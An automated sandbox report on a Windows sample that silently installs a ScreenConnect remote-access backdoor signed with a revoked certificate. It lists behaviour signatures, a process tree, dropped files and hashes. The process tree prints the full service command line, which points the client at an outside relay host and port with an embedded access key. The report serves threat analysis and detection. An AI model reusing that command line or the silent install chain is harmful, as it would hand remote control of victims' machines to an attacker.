Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 21:07

General

  • Target
    8df45ae6f91ae6d9cdd50ca333eadd4129284d7090ecdd90d81de08fe9dcea23.exe
  • Size 12.8MB
  • Sample260604-zyandsfx4m
  • SHA256 8df45ae6f91ae6d9cdd50ca333eadd4129284d7090ecdd90d81de08fe9dcea23
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8df45ae6f91ae6d9cdd50ca333eadd4129284d7090ecdd90d81de08fe9dcea23.exe
    "C:\Users\Admin\AppData\Local\Temp\8df45ae6f91ae6d9cdd50ca333eadd4129284d7090ecdd90d81de08fe9dcea23.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.4.25.9314\9db5266008a17d42\ScreenConnect.ClientSetup.msi"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4500
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A2FC69CD474D835FC92E783BB75134CB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1508
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1984
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C70E1478A2B3E367BC46868602230CDF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2824
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7F080643DE71A3101CBFCA59B86027AD E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3360
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3124
    • C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=37.221.64.91&p=8041&s=c2606941-70b0-4a16-a721-93477b4f2725&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&c=tele&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe" "RunRole" "3e890c78-f561-4f54-8058-724848386d7d" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3920
      • C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe" "RunRole" "776e0ad7-fed4-44dc-a46a-6fc05b8f35f2" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2920

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59ace1.rbs

          • Path C:\Config.Msi\e59ace1.rbs
          • Size 213KB
          • SHA256 efc863e5d65753d25c5dd69ceb91e31b0c657690dbddfefda0e5dc752bf897c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\Client.en-US.resources
          • Size 64KB
          • SHA256 062a4b43d45d55746c88f3f1b0e4e8e376c5577133ed8d9e94c1e3251c341fc1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\Client.resources
          • Size 2KB
          • SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.Client.dll
          • Size 228KB
          • SHA256 9507c29ca92f850426ba5a05647214f3f6e408853a2baef97892db5f7e974a55
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 81d06d6f5c4dcca630d5001425566ab976e222082612f96dfc99078f585139ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 bc0b03a340d46c23a4a2f91ebd7ed4d0fcf92fc7c4323f522c86369ad483f68a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.Core.dll
          • Size 552KB
          • SHA256 dc3168bfff8b8bffb36f4374da4dfce8a96786a632eb6bdb666099fc0cf16a54
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 ff82ff2c60cebea3eb57b9d50e5ac1653009ff781d288f4b4b0c3578b2aefd30
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe
          • Size 599KB
          • SHA256 0fcf040e7c627085146cbe9ca77bc61d2dec0eacc500651fd2b02f76387a0c2e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9db5266008a17d42)\system.config
          • Size 934B
          • SHA256 95b480c8a2112c38bb9e2aa665fc9b4eaa101e5fc0ed949d8d5e318c9662e91f
          • MD5 SHA1 SHA512 TLSH

          57C8EDB95DF3F0AD4EE2DC2B8CFD4157

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
          • Size 4KB
          • SHA256 0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          57C8EDB95DF3F0AD4EE2DC2B8CFD4157

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
          • Size 342B
          • SHA256 bdad8ee8acb1c4ae3a4f6e0a4b68b1c63116f92eaddabc37f7e52119e4dd427f
          • MD5 SHA1 SHA512 TLSH

          77EC63BDA74BD0D0E0426DC8F8008506

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
          • Size 328B
          • SHA256 21fe9762a3166505e3cb74e1d248e18c03ddc888aee11d1745caacd6ae943b4b
          • MD5 SHA1 SHA512 TLSH

          MSI7853.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp
          • Size 1.0MB
          • SHA256 d61773c938a0ec464e27616d974d1723f43bdaef9b0f713baeeafe71cca2e5ee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp-\ScreenConnect.Core.dll
          • Size 542KB
          • SHA256 15148976d1df0b7648ff4085ef2da7c32d767be8203542234f86820c7dd7f39c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 a750e0ec9269c71a2a5a1591f3da199c239ebf6d84acdee857b6e878e1c52174
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7853.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 cca228d4d04731a91fff3cc4a0551be447090c0e5c87dcc721ca6199bb1f26a9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.4.25.9314\9db5266008a17d42\ScreenConnect.ClientSetup.msi
          • Size 10.4MB
          • SHA256 a63de21da5ba81c789617556409bfb61324dd966a83f9640f96341908baf9452
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIAFBF.tmp

          • Path C:\Windows\Installer\MSIAFBF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 e3b0476f020325f99bfc1a964a49170505356f67a1d2c59340aed27d6c6abf37
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {7cd9d558-d89f-4519-8b12-b6502a892752}_OnDiskSnapshotProp

          • Path \??\Volume{67a68b58-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{7cd9d558-d89f-4519-8b12-b6502a892752}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 5ab714306853ae12ea3aaf1ddb6d1eb80b1bc56b891d62424d617cb63729eef3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1508-46-0x0000000004F70000-0x000000000511E000-memory.dmp

          memory/1508-38-0x0000000004C90000-0x0000000004C9A000-memory.dmp

          memory/1508-34-0x0000000004C50000-0x0000000004C7E000-memory.dmp

          memory/1508-42-0x0000000004D30000-0x0000000004DBE000-memory.dmp

          memory/1536-0-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-11-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-10-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-12-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-4-0x0000000000B50000-0x0000000000B58000-memory.dmp

          memory/1536-9-0x0000000005850000-0x00000000058E2000-memory.dmp

          memory/1536-8-0x0000000006080000-0x0000000006626000-memory.dmp

          memory/1536-1-0x0000000000B30000-0x0000000000B38000-memory.dmp

          memory/1536-7-0x0000000005920000-0x0000000005ACE000-memory.dmp

          memory/1536-2-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-3-0x0000000005910000-0x0000000005920000-memory.dmp

          memory/1536-6-0x0000000000B90000-0x0000000000BB4000-memory.dmp

          memory/1536-5-0x0000000005720000-0x00000000057AE000-memory.dmp

          memory/3920-137-0x00000000003F0000-0x000000000048A000-memory.dmp

          memory/3920-139-0x00000000025A0000-0x00000000025DE000-memory.dmp

          memory/3920-140-0x000000001B420000-0x000000001B4AE000-memory.dmp

          memory/3920-141-0x000000001B660000-0x000000001B80E000-memory.dmp

          memory/3920-142-0x000000001D6D0000-0x000000001D858000-memory.dmp

          memory/3920-143-0x0000000002560000-0x0000000002578000-memory.dmp

          memory/3920-144-0x00000000025E0000-0x00000000025F8000-memory.dmp

          memory/4224-118-0x0000000004290000-0x0000000004365000-memory.dmp

          memory/4224-116-0x0000000003F00000-0x0000000003F3E000-memory.dmp

          memory/4224-112-0x0000000003EB0000-0x0000000003F00000-memory.dmp

          memory/4224-109-0x0000000003FA0000-0x000000000414E000-memory.dmp

          memory/4224-105-0x0000000003CE0000-0x0000000003D6E000-memory.dmp

          memory/4224-99-0x00000000017E0000-0x00000000017F8000-memory.dmp